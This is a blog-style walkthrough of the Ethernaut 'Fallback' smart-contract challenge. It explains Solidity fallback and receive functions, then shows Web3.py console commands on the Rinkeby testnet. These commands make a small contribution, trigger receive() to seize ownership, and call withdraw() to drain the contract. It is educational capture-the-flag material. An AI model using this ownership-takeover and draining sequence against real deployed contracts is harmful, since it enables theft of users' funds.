Ethernaut Fallback
The Fallback Function
For a Smart Contract to simply receive ether and add it to its total balance, there must be a fallback function which must be declared as payable. A fallback function is executed whenever a contract receives ether without any additional data or a function that does not exist is called. In case the fallback function does not exist and ether is sent to the contract, it will throw an exception.
Defining a Fallback Function
The Fallback function has the following requisites:
- To be declared as external;
- To be declared as payable;
- To have no name;
- To have no arguments;
- To not return anything;
- Can only be defined one per contract;
Furthermore, since solidity version 0.6.x, the fallback function has been split into two separate functions:
- receive()
external payable
— for empty call data (and any value) - fallback()
external payable
— when no other function matches (not even the receive function). Optionallypayable
.
contract TypeFallback{
// Receive Function Signature
fallback() external payable {
// React to receiving ether and/or call to inexistent function
}
}
contract TypeReceive{
// Receive Function Signature
receive() external payable {
// React to receiving ether
}
}
The Fallback Challenge
The following smart contract source code is provided, where the objective is to:
- Take full ownership of the contract;
- Reduce its balance to 0;
After reviewing the above code, there are two ways we can use to take ownership of the contract.
- We contribute enough so that the amount of our contribution is greater than the owner’s one
- We trigger the receive function
I will choose the path of triggering the receive function, cause that seems to be the whole point of this challenge.
You can solve the challenge through the chrome console as they provide you with some helper functions there, but I will shift right away to my local setup and use Web3.py with an Infura node on the Rinkeby network, to take full advantage of the technology and to help me understand the inner workings.
Interacting with the target Smart Contract
First of we need to fetch our target smart contract address and ABI. I will fetch this from the chrome console on ethernaut challenge website:
Second I will create a python initialisation script, so that all the required variables are loaded and evaluated so we can start to interact with the contract easily. The following topics enumerate this initialisation script steps:
- Read and import my metamask wallet private key
- Read and import the target contract’s address and abi
- Connect to Infura Rinkeby node
Running the setup and first interactions:
root@Web3 ❯ python -i ethernaut_fallback_genesis.py
[+] Loaded wallet addr: 0xC897A165729989Cf68F431E0212b565Ab242694E with balance: 0.192392253325630063
[+] Loaded target contract addr: 0x2BA72Ac987d9C5D4Af4cfcD833F8F112f0B41398
>>>
>>> target_contract.all_functions()
[<Function contribute()>, <Function contributions(address)>, <Function getContribution()>, <Function owner()>, <Function withdraw()>]
>>> target_contract.functions.owner().call({'from':account.address})
'0x9CB391dbcD447E645D6Cb55dE6ca23164130D008'
Getting Ownership
Now that we got our setup working, lets layout the path to getting ownership via the receive fallback function.
Note: In our setup, our wallet account is not saved on the remote node we are using from Infura. That means we cannot just use send_transaction(), because the node is not able to sign our transaction in our behalf, as our wallet private key is stored locally. So to actually send transactions and interact with the contract, we need to build a transaction, sign it ourselves and then relay that to the Infura node.
- To be able to fully execute the receive fallback function, we need to at least have contributed some amount to the contract. So that is the first thing we are going to do, contribute!
# Output our contribution
>>> target_contract.functions.getContribution().call({'from':account.address})
0# We need to send less than 0.001 ether, so I am sending 0.0001.
# Confirm amount of wei
>>> w3.fromWei(100000000000000,'ether')
Decimal('0.0001')# Build our transaction
>>> tx = target_contract.functions.contribute().buildTransaction({'from':account.address,'value':100000000000000, 'nonce':w3.eth.get_transaction_count(account.address)})
>>> tx
{'gas': 48012, 'maxFeePerGas': 1500000004, 'maxPriorityFeePerGas': 1499999984, 'chainId': 4, 'from': '0xC897A165729989Cf68F431E0212b565Ab242694E', 'value': 100000000000000, 'nonce': 21, 'to': '0x2BA72Ac987d9C5D4Af4cfcD833F8F112f0B41398', 'data': '0xd7bb99ba'}# Sign the transaction
>>> signed_tx = w3.eth.account.sign_transaction(tx, read_wallet_key())# Send the transaction to our Infura node
>>> tx_hash = w3.eth.sendRawTransaction(signed_tx.rawTransaction)
>>> tx_hash
HexBytes('0x15c27c42d499875d6db4995eafa5b7cb88b8e3a5b902afcf6df66d1cfe9b8c94')
You can check the status of the transaction on etherscan, inserting the tx_hash we got from the output.
# Checking our contribution
>>> contribution = target_contract.functions.getContribution().call({‘from’:account.address})
>>> w3.fromWei(contribution, ‘ether’)
Decimal(‘0.0001’)
2. Now that we got our contribution sent, we are able to pass the function’s requirement and trigger the receive() fallback function. To trigger it, we only need to create a transaction with some ether, calling no function (empty data attribute) and send the transaction!
# Check current owner
>>> target_contract.functions.owner().call({'from':account.address})
'0x9CB391dbcD447E645D6Cb55dE6ca23164130D008'# Lets reuse our previous transaction, by removing the data attribute
>>> tx
{‘gas’: 48012, ‘maxFeePerGas’: 1500000004, ‘maxPriorityFeePerGas’: 1499999984, ‘chainId’: 4, ‘from’: ‘0xC897A165729989Cf68F431E0212b565Ab242694E’, ‘value’: 100000000000000, ‘nonce’: 21, ‘to’: ‘0x2BA72Ac987d9C5D4Af4cfcD833F8F112f0B41398’, ‘data’: ‘0xd7bb99ba’}
>>> tx.pop(‘data’, None)
‘0xd7bb99ba# Set new nonce
>>> tx['nonce'] = w3.eth.get_transaction_count(account.address)# Sign transaction
>>> signed_tx = w3.eth.account.sign_transaction(tx, read_wallet_key())# Send transaction
>>> tx_hash = w3.eth.sendRawTransaction(signed_tx.rawTransaction)
>>> tx_hash
HexBytes('0xa1aaed95434814680a9fe2f61adda3d5e11db3de601588889620838ca8c44c44')
Etherscan transaction status.
# Check owner of contract
>>> target_contract.functions.owner().call({'from':account.address})
'0xC897A165729989Cf68F431E0212b565Ab242694E'
>>> target_contract.functions.owner().call({'from':account.address}) == account.address
True
Its our contract now!
3. Finally, lets withdraw all our money!
# Check contract's balance
>>> w3.fromWei(w3.eth.get_balance(target_contract.address),'ether')
Decimal('0.0002')# Build new transaction
>>> tx = target_contract.functions.withdraw().buildTransaction({'from':account.address, 'nonce':w3.eth.get_transaction_count(account.address)})# Sign it
>>> signed_tx = w3.eth.account.sign_transaction(tx, read_wallet_key())# Withdraw()
>>> tx_hash = w3.eth.sendRawTransaction(signed_tx.rawTransaction)# Confirm withdraw by checking contract's balance
>>> w3.fromWei(w3.eth.get_balance(target_contract.address),'ether')
0
Submitting the challenge…
I hope this post helps you familiarise with the Web3.py library and one of the most common smart contract vulnerabilities.
References
- https://web3py.readthedocs.io/en/stable/index.html
- https://rinkeby.etherscan.io/
- https://ethernaut.openzeppelin.com/
Big props to @the_ethernaut for creating the content.